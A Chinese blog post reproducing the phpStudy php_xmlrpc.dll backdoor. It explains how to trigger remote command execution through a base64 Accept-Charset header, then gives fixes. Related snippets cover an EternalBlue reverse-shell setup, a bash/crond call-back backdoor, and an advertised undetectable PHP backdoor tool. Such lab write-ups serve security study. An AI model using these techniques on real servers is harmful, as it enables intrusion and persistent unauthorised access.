phpstudy后门利用复现

一、漏洞位置

　　程序自带的PHP的php_xmlrpc.dll模块中有隐藏后门，受影响的版本有phpstudy2016(php5.2/5.4)、phpstudy2018(php5.2/5.4)等版本。

　　这里我们用phpstudy2018版本的来验证后门位置及作用。

二、步骤

　　Step1：切换php的版本到5.2或者5.4，在phpstudy的根目录下找到phpStudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll，使用记事本打开该文件，扫所eval。如下图

　　

　　Step2：使用BurpSuite去拦包，修改请求包，其中Accept_Encoding:gzip，deflate 的逗号后面的空格一定要删掉，然后添加一项：Accept_Charset，规定服务器处理表单数据所接受的数据，恶意代码 “system(‘net user‘)“用Base64转码，将结果放在后面。

　　

　　

　　Step3：提交请求包，查看响应包

　　

　　可以发现，在Accept-Charset中的命令在目标机上被执行，并返回出结果。

三、修复方法

  1. 将php5.2和php5.3中的php_xmlrpc文件替换为官网发布的。
  2. 使用“phpstudy‘安全自检修复程序”修复phpstudy

原文地址：https://www.cnblogs.com/yuanshu/p/11613796.html

时间： 2024-11-14 13:26:13

phpstudy后门利用复现的相关文章

phpstudy后门利用

PHPStudy被爆出存在后门,PHP扩展的php_xmlrpc.dll文件被替换,攻击者向网站服务器发送特殊构造的HTTP请求即可执行任意PHP代码. 分析发现以下2个dll文件被替换并植入了后门: php-5.4.45/ext/php_xmlrpc.dll php-5.2.17/ext/php_xmlrpc.dll 在dll文件中搜索"eval("确实发现存在异常代码: PoC: 注意:要把“gzip,deflate”逗号后面的空格删掉:“Accept-CharSet: c3lzd

使用Ghidra分析phpStudy后门

一.工具和平台 主要工具: Kali Linux Ghidra 9.0.4 010Editor 9.0.2 样本环境: Windows7 phpStudy 20180211 二 .分析过程 先在 Windows 7 虚拟机中安装 PhpStudy 20180211,然后把安装完后的目录拷贝到 Kali Linux 中. 根据网上公开的信息:后门存在于 php_xmlrpc.dll 文件中,里面存在“eval”关键字,文件 MD5 为 c339482fd2b233fb0a555b629c0ea5d

永恒之蓝漏洞利用复现

一.环境搭建: IP地址 系统信息 备注 角色 192.168.0.244 win7旗舰版(未安装MS17-010补丁版本) 需开启445端口及SMB协议 靶机 192.168.0.105 win7旗舰版 需安装python2.6.6&pywin32 攻击机 192.168.0.245 kali linux 2.0 生成reverse shell的dll文件 辅助机 二.攻击流程: 攻击流程图解: 1.在kali linux中利用metasploit生成用于建立反向链接的dll文件 msfven

夜猫php强大后门利用工具[管理员永远查不出的后门利用程序]

之前博彩一个团队也是用我这个后门差不多维持了几个月 都没掉过!!! 现在公开这个脚本  希望支持!!! 下载地址:http://pan.baidu.com/s/1o7WQs2m 更多请关注博客 BY:1998 QQ:78654606

CVE-2017-11882漏洞 Msf利用复现

中午时候收到了推送的漏洞预警,在网上搜索相关信息看到很多大牛已经开发出生成doc文档的脚本和msf的poc,本文记录CVE-2017-11882 漏洞在 Msf下的利用. 0x00 漏洞简介 2017年11月14日,微软发布了11月份的安全补丁更新,其中比较引人关注的莫过于悄然修复了潜伏17年之久的Office远程代码执行漏洞(CVE-2017-11882).该漏洞为Office内存破坏漏洞,影响目前流行的所有Office版本.攻击者可以利用漏洞以当前登录的用户的身份执行任意命令. 由于漏洞影响

夜猫php强大后门利用工具第二版[管理员永远查不出的后门利用程序]

下载地址:http://pan.baidu.com/s/1pLvQMQv 合原版一样 功能加了几个 防止删除  使用方式:?shell=/php/zx.php

[转载]Linux后门整理合集（脉搏推荐）

我在思考要不要联系下....都禁止转载了.... 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建 /etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo

一个利用“永恒之蓝”漏洞传播的挖矿程序分析

背景介绍 近日,渔村安全团队追踪到一个利用永恒之蓝漏洞传播的挖矿程序,其具备高度的模块化和较强的传播能力,在短短数日就感染了数万台用户电脑.针对该突发情况,渔村安全团队迅速组织应急工作,最终使得目前的感染情况受到控制,下文为样本分析. 感染量 从微软发布ms17-010(永恒之蓝漏洞) 的修复补丁到现在已经过去四个月了,相继爆发的利用该漏洞传播的WannaCry,Petya 勒索病毒更是给 我们 上了一课.但目前来看,还是有不少用户没有及时更新补丁或者做相应的缓解措施,同时 Shadow Bro

各类后门整理！【白帽黑客必备生存技能】

Unix Bash 远控后门 简介 利用 Unix/Linux 自带的 Bash 和 Crond 实现远控功能,保持反弹上线到公网机器. 利用方法 先创建/etc/xxxx 脚本文件(名字自己改),利用该脚本进行反弹.以下脚本代表全自动反弹到 8.8.8.8 的 53 端口. nano /etc/xxxx #!/bin/bash if netstat -ano|grep -v grep | grep "8.8.8.8">/dev/null then echo "OK&q